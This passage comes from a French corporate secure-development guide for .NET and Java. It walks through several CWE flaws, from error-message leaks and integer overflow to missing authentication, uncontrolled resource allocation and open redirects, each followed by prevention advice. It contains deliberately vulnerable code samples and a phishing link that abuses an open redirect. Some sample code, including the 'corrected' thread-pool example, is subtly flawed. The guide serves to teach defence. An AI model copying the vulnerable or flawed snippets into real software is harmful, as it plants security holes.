Page 46: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 43 / 43

Ce mot de passe doit de préférence être stocké sous forme chiffrée dans une base de données, et il doit respecter la politique de sécurité de l’entreprise (PSSI) : respecter les règles de durcissement du mot de passe et être changé régulièrement (tous les 3 mois).

ASP.NET : chiffrement d’éléments de configuration sensible

• utiliser le mécanisme de chiffrement des éléments de configuration sensibles

(comme les chaînes de connexion aux données par exemple) fourni par ASP.NET — ce mécanisme est transparent à l’exécution, puisque le déchiffrement est effectué automatiquement à l’exécution de l’application.

L’utilisation du fournisseur DPAPI [15] permet un chiffrement par machine ou par utilisateur ; dans le cas d’une application web, l’impact sur l’application est nul.

Exemple. Chiffrement du bloc de configuration <connectionString> du web.config de l’application ASP.NET, voir Figure 25, Figure 26 et Figure 27.

<connectionStrings> <add name="MyLocalSQLServer" connectionString="Initial Catalog=aspnetdb; data source=localhost;Integrated Security=SS PI;" providerName="System.Data.SqlClient"/> </connectionStrings>

Figure 25 : Chaine de connexion SQL standard en ASP.NET

aspnet_regiis -pe "connectionStrings" -app "/monApp liWeb" -prov "DataProtectionConfigurationProvider"

Figure 26. Ligne de commande de chiffrement avec DPAPI

<connectionStrings configProtectionProvider= "DataProtectionConfigurationProvider"> <EncryptedData> <CipherData> <CipherValue> AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAexuIJ/8oFE+sGTs7jBK ZdgQAAAACAAAAAAADZgAAqAAAABAAAAAKms84dyaCPAeaSC1dIMIBAAAAAASAAACgAAAAEAAAAKaVI6aAOFdqhdc6w1Er3HMwAAAAcZ00MZOz1dI7kYRvkMIn/BmfrvoHNUwz6H9rcxJ6Ow41E3hwHLbh79IUW iiNp0VqFAAAAF2sXCdb3fcKkgnagkHkILqteTXh </CipherValue> </CipherData> </EncryptedData> </connectionStrings>

Figure 27. Résultat : chaines de connexion chiffrées

Page 47: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 44 / 44

15 – CWE-754 : Traitement incorrect de conditions rares ou exceptionnelles

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction Probabilité de connaissance

Fréquence des attaques

Conséquences / impact [CE] [DL] [DoS] [SB]

Description Cette faille peut se produire lorsqu’une application ne vérifie pas et ne traite pas correctement des conditions d’exécution ou d’environnement inhabituelles, rares, ou même exceptionnelles, supposées comme ne pouvant pas se produire ou ne pouvant pas être traitées par le concepteur ou le développeur, telles que par exemple :

• mémoire insuffisante au niveau du serveur d’application ;

• accès restreint à des ressources limitées ou saturées ;

• client ou composant externe ne se comportant pas comme attendu (protocole non respecté, délais importants, etc.) ;

• nombre de requêtes trop important ;

• etc.

Des attaquants peuvent en effet volontairement provoquer de telles conditions, afin de violer les suppositions du concepteur, provoquant ainsi un comportement instable de l’application, voire incorrect, et introduisant potentiellement une vulnérabilité par Déni de Service.

Exemples

Supposition non vérifiée sur la taille de fichiers

byte[] byteArray = new byte[1024]; for (Iterator i=users.iterator(); i.hasNext();) { String userName = (String) i.next(); String pFileName = PFILE_ROOT + "/" + userName; FileInputStream fis = new FileInputStream(pFileName); fis.read(byteArray); // the file is always 1k bytes fis.close(); processPFile(userName, byteArray); }

Figure 28. Exemple de code Java présumant la taille de fichiers lus

Dans l’exemple de la figure 28, l’application boucle sur un ensemble d’utilisateurs, et pour chacun lis un fichier privé associé à chacun d’eux. Le développeur présume que les fichiers lus font nécessairement, par construction probablement, 1 KO chacun. Mais si un fichier se trouve corrompu, mal écrit, ou manipulé par un attaquant, et fait par exemple moins de 1 KO, alors l’application réutilisera inopinément une partie des données de l’utilisateur précédent encore présentes dans le tableau byteArray , ce qui peut donner à l’attaquant des données ou propriétés de l’utilisateur précédent.

Page 48: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 45 / 45

Non validation d’un paramètre de requête potentiellement nul

String itemValue = request.getParameter(ITEM_NAME); if (itemValue.equals(IMPORTANT_ITEM)) {

Figure 29. Exemple de code ne validant pas la nullité d’une chaîne pouvant générer une NPE

Dans le code figure 29 ci-dessus, le développeur part du principe que le paramètre de requête HTTP peut avoir une taille vide mais ne sera pas nul, du fait que ce paramètre est par exemple renseigné dans un formulaire HTML dans un champ hidden .

Or il peut potentiellement être nul, si par exemple l’URL d’accès ne vient pas du formulaire HTML mais est forgée par un attaquant, ce qui provoquera dans la ligne suivante une NullPointerException .

Prévention

Contrôle fin des inputs / outputs (paramètres et valeurs de retour des fonctions)

• partir du principe que tout input peut être manipulé par un attaquant, etc. ;

• vérifier que la valeur de retour de toute fonction ou méthode locale ou distante est

conforme au format spécifié ou est une des valeurs attendues avant utilisation ;

Note. Cette stratégie stricte peut être très lourde à mettre en œuvre et aller à l’encontre de la programmation par contrat, qui stipule qu’une vérification donnée ne doit pas être répétée entre différents niveaux d’appel. Elle est plus particulièrement indiquée lorsque la fonction ou méthode appelée est externe, c'est-à-dire provient d’un autre module, composant ou librairie.

Traitement des exceptions

• gérer les cas exceptionnels par des exceptions, en particulier ne pas hésiter à créer

des classes d’exceptions précises et le plus spécifique possible, avec une sémantique bien définie, et les utiliser ;

• si un cas ou une exception ne peut être traité et que l’application doit s’arrêter,

faire en sorte qu’elle le fasse de manière propre et maîtrisée (graceful termination) ;

Limites dans l’allocation de ressource

• fixer des limites aux ressources consommées par l’application (voir 22 – CWE-770), et traiter malgré tout les cas de ressources insuffisantes.

Note : Là encore, cette stratégie stricte peut s’avérer très lourde à mettre en œuvre, et doit se limiter à des vérifications raisonnables : il paraît par exemple difficile d’intercepter et d’essayer de traiter toutes les OutOfMemoryException , sauf lorsque l’application est potentiellement très consommatrice de mémoire.

Page 49: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 46 / 46

16 – CWE 209 : Divulgation d'informations à travers les messages d'erreur

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction Probabilité de connaissance

Fréquence des attaques

Conséquences / impact [DL]

Description Lorsqu’une application renvoie des messages d’erreur détaillés, des informations sur l’application ou sur l’environnement d’exécution peuvent être divulguées à un attaquant potentiel. Ces informations peuvent être de nature personnelle sur l’identité des utilisateurs, mais aussi des informations d’authentification ou sur la configuration du serveur. L’accès à ces informations (comme par exemple les dossiers d’installation, les adresses de serveurs, etc.) facilite et accélère les tentatives d’attaques.

Exemples La figure 30 montre un cas de divulgation de mot de passe dans un message d’erreur d’une application ASP.NET. Ici l’erreur n’est pas correctement interceptée par l’application et est présentée de manière trop détaillée à l’utilisateur : les informations fournies sont de nature sensible.

Figure 30: Exemple de divulgation de mot de passe par message d’erreur avec ASP.NET

Prévention

Interception et traitement des exceptions

• consigner les messages d’erreurs dans des journaux (logging ) conservés sur le

serveur — les utilisateurs doivent être notifiés qu’une erreur est survenue mais ne doivent pas en connaitre les détails techniques ;

Page 50: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 47 / 47

• adapter le message à la population cible (utilisateur, développeur, administrateur) :

- en fonction de l’environnement d’exécution, distinguer le niveau de détail des messages d’erreur — disposer par exemple d’informations complètes en environnement de développement, et d’informations minimales en production ;

- configurer de manière globale, ou au niveau des grands modules fonctionnels de l’application, le niveau de détails des informations d’erreurs, et le niveau de log ;

• utiliser des pages d’erreur web génériques mais personnalisées à l’application à

destination des utilisateurs, ce qui permet mieux maîtriser l’information divulguée ;

- Java : utiliser la directive <error-page> , comme par exemple figure 31, pour spécifier une page d’erreur personnalisée (et donc avec un message d’erreur maîtrisé), globale ou spécifique au type d’exception ou d’erreur HTTP, dans le fichier web.xml ;

<error-page> <exception-type>java.lang.Throwable</exception-typ e> <location>/default-error.jsp</location> </error-page>

Figure 31. Spécification d’une page d’erreur personnalisée pour une application Web JEE

- ASP.NET : utiliser la directive de configuration <customErrors> du fichier web.config , permettant de spécifier le comportement de l’application dans le cas d’une exception qui ne serait pas intercepté dans le code :

au minimum, activer la redirection vers une page par défaut présentant un message d’erreur générique, comme le montre la figure 32 ;

<customErrors mode="RemoteOnly" defaultRedirect="Er ror.aspx">

Figure 32 : Exemple d'activation de la redirection vers une page d'erreur générique

éviter absolument en production la désactivation complète, figure 33 ;

<customErrors mode="Off" defaultRedirect="Error.asp x">

Figure 33 : mode=Off : l’exception détaillée est présentée à l’utilisateur

• traiter les exceptions au plus tôt de à partir de l’endroit où elles sont levées par l’une des deux stratégies suivantes :

- si une solution alternative existe, la déclencher, et l’exception interceptée doit ici être simplement journalisée et ne pas être transmise à l’appelant.

Page 51: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 48 / 48

17 – CWE-190 : Dépassement ou bouclage cyclique d’un entier (integer overflow or wraparound)

Caractéristiques

Fréquence de la faille Facilité de détection

Coût de correction Probabilité de connaissance

Fréquence des attaques Conséquences / impact [CE] [DL] [DoS]

Description Cette faille survient lorsque l’application effectue un calcul dans une variable entière qui peut provoquer un dépassement de la valeur maximum (overflow) résultant éventuellement en un « bouclage cyclique » de la valeur (wraparound) modulo la taille de l’intervalle d’entiers couvert par le type de variable entière utilisé.

Une variable entière incrémentée vers une valeur plus grande que le maximum possible pour ce type de variable, va typiquement voir sa valeur réduit à 0 ou à un nombre négatif (borne inférieure de l’intervalle). Le résultat dépend du codage binaire des entiers utilisé par la machine virtuelle (bytecode) ou le langage machine sous-jacent.

Ce problème est d’autant plus gênant lorsque le langage hôte ne lève pas d’exception — c’est le cas notamment de Java, et .NET selon la configuration utilisée (voir activation des modes checked et unchecked dans les préventions) — ce qui rend l’erreur difficile à détecter, et peut éventuellement être exploité par un attaquant connaissant bien le code exécuté, en particulier si le calcul est utilisé pour gérer des ressources, contrôler le flot d’exécution du programme, ou prendre une décision de sécurité. Le dépassement peut en effet être induit par un input fourni par un utilisateur malintentionné.

Exemples

Java – Wraparound d’entier sur le calcul d’un nombre d’octets à lire

InputStream source = new FileInputStream( "data.dat" ); int nbLine = request.getParameter( "nb_line" ); if(nbLine <= 0) throw new IllegalArgumentException( "Number of lines must be positive !" ); int responseSize = nbLine * LINE_SIZE; byte[] responseData = new byte[responseSize]; for( int i = 0; i < responseSize; i++) responseData[i] = ( byte) source.read(); response.write(responseData);

Figure 34. Exemple de wraparound d’entier en Java

Dans l’exemple de la figure 34, un calcul est effectué pour déterminer le nombre de lignes à lire dans un fichier de données et à renvoyer en réponse. Un contrôle est effectué pour vérifier que le nombre de ligne est bien strictement positif.

Cependant un attaquant peut facilement déjouer ce contrôle en donnant un entier suffisamment grand pour que, multiplié par LINE_SIZE , ce nombre dépasse la valeur maximum d’un entier et boucle sur un entier négatif ou égal à zéro, provoquant ainsi soit

Page 52: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 49 / 49

l’envoi d’une réponse vide (chaine d’octets nuls) sans lever la moindre exception, soit une exception lors de la création du tableau responseData .

Prévention D’une manière générale il est nécessaire de bien comprendre la représentation des nombres du langage utilisé, et les effets des opérations de calcul numérique aux cas limites (dépassement, bouclage, changements de signes, troncature, précision, conversion de types, en particulier vers un type plus « petit », calcul avec la valeur spéciale « not-a-number » ou NAN, etc.), et notamment les différences entre les versions 32 bits et 64 bits.

Utilisation d’un framework ou librairie de calcul fiable et éprouvé

• utiliser une librairie ou un framework de calcul fiable et réputé, permettant d’éviter

ce problème, notamment par la levée d’exceptions lorsqu’il se produit ;

C#.NET – Activation des modes checked et unchecked

• .NET permet deux comportements différents en fonction du modificateur checked

ou unchecked affecté à un bloc ou une expression, comme le montrent la figure 35 et la figure 36. En mode checked , une exception de type OverflowException est levée, alors qu’en mode unchecked la valeur résultante de l’opération boucle la capacité du type.

Par défaut, les options de compilation activent le mode unchecked. Néanmoins, la spécification du mode peut aussi se faire par modification de l’option de compilation /checked , en plus des mots clés checked et unchecked mentionnés plus haut.

try { z = checked ((short)(x + y)); } catch (System.OverflowException e) { Console.WriteLine(e.ToString()); }

Figure 35. Exemple .NET de levée d'une exception en mode checked forcé

z = unchecked ((short)(x + y)); // opération unchecked unchecked { // bloc unchecked int i = int.MaxValue; Console.WriteLine(i); i++; Console.WriteLine(i); }

Figure 36. Exemple .NET de bouclage cyclique en mode unchecked forcé

Contrôle des inputs

• effectuer des vérifications aux limites sur tous les inputs numériques ;

• dans le cadre d’une communication (réseau, API ou autre), utiliser des protocoles

strictement définis, interdisant explicitement les valeurs hors limites, et tester ;

Page 53: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 50 / 50

Java – simulation des unsigned

• pour travailler avec l’équivalent des unsigned en Java, utiliser des char (car non

signés) si 2 octets suffisent, ou bien utiliser un type primitif plus grand que le type effectivement nécessaire (par exemple des long pour des int ) et éliminer les bits supplémentaires avec un & logique, comme suit :

long v = ...; v = (...) & 0xffffffff;

Page 54: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 51 / 51

19 – CWE-306 : Authentification manquante pour un traitement nécessitant des privilèges

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction

à

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [SB]

Description Cette faille correspond au fait que l’application n’effectue pas d’authentification de l’utilisateur pour un traitement nécessitant des privilèges particuliers, ce traitement nécessitant que l’utilisateur soit authentifié ou pour exécuter des traitements demandant beaucoup de ressources. Voir faille n°4 (CWE-285).

Exemples

Java – authentification manquante sur une méthode métier

public BankAccount createBankAccount(...) { BankAccount account = new BankAccount(); account.set...; return account; }

Figure 37. Exemple de code Java d’une méthode critique sans authentification

Dans l’exemple de la figure 37, la méthode métier de création d’un compte bancaire n’authentifie pas l’utilisateur avant création, et ne peut donc pas vérifier qu’il a les droits requis. La figure 38 comble ce manque avec une méthode spécifique d’authentification.

private boolean isUserAuthentic = false ; /** authenticate user, if ok set isUserAuthentic to true */ public boolean authenticateUser(String username, String password) {...} public BankAccount createNewBankAccount(...) { BankAccount account = null ; if (isUserAuthentic) { account = new BankAccount(); account.set...; } return account; }

Figure 38. Exemple de la figure 37 avec authentification requise

Page 55: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 52 / 52

Prévention

Authentification côté client et serveur

• si un mécanisme d’authentification est fourni côté client (JavaScript, etc.), cette

authentification doit systématiquement être dupliquée côté serveur, dans la mesure où un attaquant pourra toujours manipuler le résultat de l’authentification côté client ;

Contrôle d’accès sur tous les canaux et modes d’accès

• identifier tous les canaux et mode d’accès possibles à l’application, et vérifier que

ces canaux suivent les même mesures de protection que le canal principal ;

• si une session doit persister à travers plusieurs domaines ou connexions, vérifier

que l’authentification est valide à chaque domaine ou connexion.

Utilisation de framework d’authentification fiable et éprouvés

• éviter d’implémenter un système d’authentification spécifique à l’application,

mais utiliser un framework ou système d’authentification éprouvé présent au niveau du serveur d’application ou du système d’exploitation ;

- Java : le framework Spring intègre des fonctions avancées d’authentification et d’autorisation d’accès.

- ASP.NET fournit des mécanismes intégrés de gestion des utilisateurs et rôles via les providers Membership ;

si un mécanisme d’authentification spécifique est absolument nécessaire, appliquer ce mécanisme à toutes les pages concernées de façon homogène (utiliser par exemple des filtres tels que définis dans les spécifications des servlets) et bien factoriser cet aspect transverse dans un module séparé et configurable ;

Contrôle d’accès basé sur les rôles

• utiliser un contrôle d’accès basé sur les rôles, et diviser l’application en zones

anonyme, normale, privilégiée et administrative ;

- déterminer quelle zone nécessite authentification et utiliser un système central d’authentification pour l’ensemble des zones protégées ;

- bien séparer l’authentification du contrôle d’accès (gestion des habilitations), en particulier dans les applications Web où cette limite à tendance à être floue ;

Page 56: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 53 / 53

20 – CWE 494 : Téléchargement et utilisation de code externe sans contrôle d’intégrité

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction

à

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [CE]

Description Le téléchargement de code exécutable par l’application permet l’introduction de code potentiellement malveillant. Cette faille est d’autant plus critique lorsque l‘application :

• est capable de se mettre à jour,

• utilise l’introspection / méta-programmation pour le chargement de code dynamique.

En effet, si le mécanisme de téléchargement est corrompu (compromission du serveur de mise à jour, empoisonnement du cache, etc.), l’injection de code malveillant est possible.

Exemples

URL[] classURLs = new URL[] { new URL(" file:subdir/ ") }; URLClassLoader loader = new URLClassLoader(classURLs); Class loadedClass = Class.forName(" loadMe ", true, loader);

Figure 39 : Java – chargement dynamique de classes Java à partir du système de fichiers

Prévention

Signature de code

• signer les éléments de code avant des les faires transiter, et vérifier la signature ;

• effectuer des contrôles d’intégrité sur le code téléchargé ;

- ASP.NET : signer les assemblies applicatifs, ce qui garantit l’authenticité et l’intégrité du code (voir plus bas)

- Java : signer les fichiers d’archive (JAR, WAR, EAR, etc., voir plus bas) ;

Java : signer les archives Jar

L’outil jarsigner , disponible dans le JDK, permet de signer une archive, et de vérifier une archive signée. La signature générée est intégrée au MANIFEST.MF de l’archive. Elle peut aussi être vérifiée programmatiquement par la classe java.util.jar.JarFile .

La signature et la vérification dépendent des clés et certificats contenus dans le keyring (trousseau de clés) utilisé, et les certificats de confiance installés dans le JDK (fichier jre/lib/security/cacerts ). Pour le développement, il est possible d’utiliser un certificat « self-signed » ajouté au cacerts du JDK du ou des développeurs.

Page 57: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 54 / 54

.NET

Deux technologies de signatures sont disponibles avec .NET

• authenticode, par certificats : permets signer numériquement les exécutables et assemblies. Cette technologie est la plus fiable mais apporte les contraintes liées à l’utilisation d’une PKI 6. Cette technique n’est aujourd’hui pas expérimentée pour la SNCF dans le contexte de DSIT.

• signature par noms forts : c’est un mécanisme allégé, basée sur la signature par clé privé/publique et hashage SHA1. La mise en œuvre est simple et basée sur les 2 étapes suivantes, en utilisant la commande SN.EXE :

- création d’une clé privée. Cette clé doit être maintenue secrète bien évidement :

sn -k keyPair.snk

- signature d’un assembly :

sn.exe -R YourAssembly.dll PublicPrivateKeyFile.snk

- Optionnellement, pour extraire la partie publique de la clé :

sn.exe -p PublicPrivateKeyFile.snk PublicKeyFile.sn k

L’utilisation des noms forts peut être intégrée soit tout de suite en phase de développement, en configurant directement Visual Studio, soit dans un processus de build dédié, de type intégration continue par exemple.

Une contrainte est néanmoins apportée par l’utilisation des noms forts et consiste à l’obligation de référencer les assemblies signés avec leur nom complet (nom / version / culture / jeton public). Exemple :

myDll, Version=1.1.0.0, Culture=en, PublicKeyToken= 03689116d3a4ae33

Remarque. La signature par nom-fort est un pré requis obligatoire à l’installation d’assemblies dans le Global Assembly Cache (GAC).

6 PKI : Public Key Infrastructure ou Infrastructure à clés publiques,

Page 58: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 55 / 55

21 – CWE-732 : Permissions incorrectes sur une ressource critique

Caractéristiques

Fréquence de la faille Facilité de détection

Coût de correction

Probabilité de connaissance

Fréquence des attaques

Conséquences / impact [CE] [DL]

Description Cette faille survient lorsque l’application associe à une ressource critique au niveau sécurité des permissions permettant à un utilisateur non autorisé, ou n’en ayant pas besoin, d’y accéder en lecture ou même en écriture. Voir faille n°4 (CWE-285).

Cela peut mener à des fuites d’informations sensibles, ou à la modification de cette ressource par des acteurs qui ne sont pas censés le faire. Cela est particulièrement dangereux lorsque la ressource en question est liée à la configuration ou à l’exécution de l’application, ou à des données privée des utilisateurs.

Exemples Des exemples classiques de permissions incorrectes sur des ressources critiques sont :

• la création de fichiers avec des droits de lecture ou d’écriture trop permissifs (accidentellement), notamment au travers de l’utilisation du umask du processus ;

• un changement de droits malencontreusement récursif, ou encore sur une ressource dont d’autres ressources héritent des droits (implicitement), par exemple en shell :

chmod -R ugo+r DIRNAME

va également modifier les droits des sous-répertoires et leur contenu ;

• la perte des droits de fichiers lors d’un processus de déploiement d’une application, ou la non restriction de droits suite au non respect de la documentation d’installation.

Note. Cette vulnérabilité reste très générale et dépend fortement du modèle de droits utilisé par l’application, il est donc difficile de l’illustrer sur un fragment de code isolé.

Prévention

Droits d’accès des fichiers de configuration critiques

• lorsque l’application utilise un fichier critique tel qu’un fichier de configuration, faire en sorte qu’elle vérifie les droits d’accès à se fichier programmatiquement, et qu’elle le modifie s’il est trop permissif ;

• au démarrage de l’application, mettre les permissions de création de fichier par

défaut (umask sur Linux/Unix ou ACL sur Windows) au plus restrictif possible ;

Page 59: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 56 / 56

• pour tous les fichiers de configuration, les exécutables et les librairies

(privatives) critiques de l’application, vérifier qu’ils ont les droits de lecture et de modification uniquement pour les administrateurs de l’application ;

Installation et documentation de l’application

• ne pas suggérer de configuration non sûre de l’application dans la documentation, même pour une mise en route rapide ou a titre d’illustration ;

• ne pas considérer que l’administrateur va systématiquement changer les droits d’accès aux fichiers comme cela est décrit dans le manuel d’administration ou d’installation ;

• mettre ou remettre automatiquement les bonnes permissions aux fichiers critiques de l’application lors du processus d’installation ou de mise à jour.

Contrôle d’accès orienté rôles

• utiliser un contrôle d’accès orienté rôles et diviser l’application en zones anonyme,

normale, privilégiée et administrative, faire correspondre précisément les rôles aux zones, et affecter les permissions de fichiers en conséquence aux groupes associés ;

Page 60: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 57 / 57

22 – CWE 770 : Allocation non-contrôlée de ressources

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction

Probabilité de connaissance

Fréquence des attaques Conséquences / impact [DoS]

Description Les allocations de ressources physiques et matérielles doivent être contrôlées par l’application. En effet, en cas de demande inconsidérée de ressources de la part du client, si aucun contrôle n’est effectué, il devient alors possible d’atteindre les limites imposées part le system lui-même, comme la consommation CPU, l’allocation mémoire, ou l’espace disque. Ceci peut amener à une situation de déni de service.

Exemples La figure 40 donne un exemple Java de création de thread pour chacune des connections entrantes sur le socket applicatif. Ici aucune limite sur le nombre de threads n’est gérée.

public void acceptConnections() throws IOException { ServerSocket serverSocket = new ServerSocket(SERVER_PORT); int counter = 0; boolean hasConnections = true ; while (hasConnections) { Socket client = serverSocket.accept(); Thread t = new Thread(new ClientSocketThread(client )); t.setName(client.getInetAddress().getHostName() + ":" + counter++); t.start(); } serverSocket.close(); }

Figure 40. Java – création non-contrôlée de threads à partir des connexions entrantes

Prévention

Allocation des ressources

• systématiser la spécification d’un minimum et d’un maximum, et d’autres

contraintes, pour les ressources qui sont allouées par l’application ;

• si possible, limiter au maximum les ressources allouables pour un utilisateur non-

privilégié et permettre à l’administrateur du système de modifier cette limite ;

Traitements des exceptions

• s’assurer que les échecs (par exemple, de connexion à d’autres composants) et les

exceptions intervenus dans l’application maintiennent le système dans un état cohérent, y compris vis-à-vis de l’allocation des ressources ;

Page 61: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 58 / 58

Correction de l’exemple précédent

La figure 41 présente le même exemple que précédemment (figure 40), mais avec un contrôle du nombre maximal de thread

public static final int SERVER_PORT = 4444 ; public static final int MAX_CONNECTIONS = 10; ... public void acceptConnections() throws IOException { ServerSocket serverSocket = new ServerSocket(SERVE R_PORT); int counter = 0; boolean hasConnections = true; while (hasConnections) { hasConnections = checkForMoreConnections(); Socket client = serverSocket.accept(); Thread t = new Thread(new ClientSocketThread(client)); t.setName(client.getInetAddress().getHostName() + ":" + counter++); ExecutorService pool = Executors.newFixedThreadPo ol(MAX_CONNECTIONS); pool.execute(t); } serverSocket.close(); }

Figure 41 : Contrôle de l'allocation de threads en Java

Page 62: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 59 / 59

23 – CWE-601 : Redirection de requête vers un URL non vérifié

Caractéristiques

Fréquence de la faille

Facilité de détection

Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [CE] [DL] [DoS]

Description Cette faille se produit lorsque l’application prend en input un URL, généralement spécifié par un paramètre d’une requête HTTP, et redirige le navigateur du client vers cet URL, par une redirection HTTP, sans contrôler ce dernier préalablement.

Si un attaquant parvient à modifier l’URL passé en paramètre HTTP (qui devrait normalement pointer vers une page interne ou un site digne de confiance), par exemple en forgeant un URL par une attaque de type CSRF, il peut rediriger le client vers un site de son choix. Cette faille augmente le risque de phishing (hameçonnage) dans la mesure où l’URL initial (le lien HTTP vu par l’utilisateur) commencera par le même nom d’hôte et préfixe que l’application Web, et sera donc plus crédible pour l’utilisateur.

Voir risque OWASP A10 – Unvalidated redirects and forwards [6] pour plus de détails.

Exemples

Java – Servlet de redirection sans contrôle de l’URL

L’exemple de la figure 42 présente le code d’un servlet d’une application Web d’une banque fictive dont la fonction est de rediriger le navigateur client vers un URL passé en paramètre dans la requête HTTP, avec un REDIRECT HTTP vers la valeur du paramètre url , sans aucun contrôle préalable.

protected void doGet(HttpServletRequest request, HttpServletRespon se response) throws ServletException, IOException { String url = request.getParameter( "url" ); if (url != null && url.length() >0) response.sendRedirect(url); }

Figure 42. Exemple de code Java permettant une redirection vers un site non vérifié

Le problème de ce servlet Java est qu’un attaquant pourrait l’utiliser dans une arnaque par e-mail, avec un lien lui permettant de rediriger l’utilisateur vers un autre site, tel que :

<a href="http://bank.example.com/redirect?url=http: //newservice.com">Click here to log in to our new service</a>

Si l’e-mail est formaté en HTML avec la même charte graphique que celle de la banque, et que le site sur lequel l’utilisateur est redirigé est également très similaire à celui de la banque, ce dernier se laissera berner plus facilement, car le lien initial pointe bien vers le site qu’il connaît, bank.example.com . Il sera finalement redirigé vers le site de l’attaquant, newservice.com , sans avoir conscience qu’il n’est plus sur celui de la banque, et entrera son identifiant et mot de passe (voir phishing). Pour donner le change, le site de l’attaquant peut ensuite, après cette fausse page de login, rediriger l’utilisateur vers le véritable site de la banque, le maintenant dans l’illusion qu’il ne l’a jamais quitté.

Page 63: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 60 / 60

Prévention

Contrôle et validation d’inputs

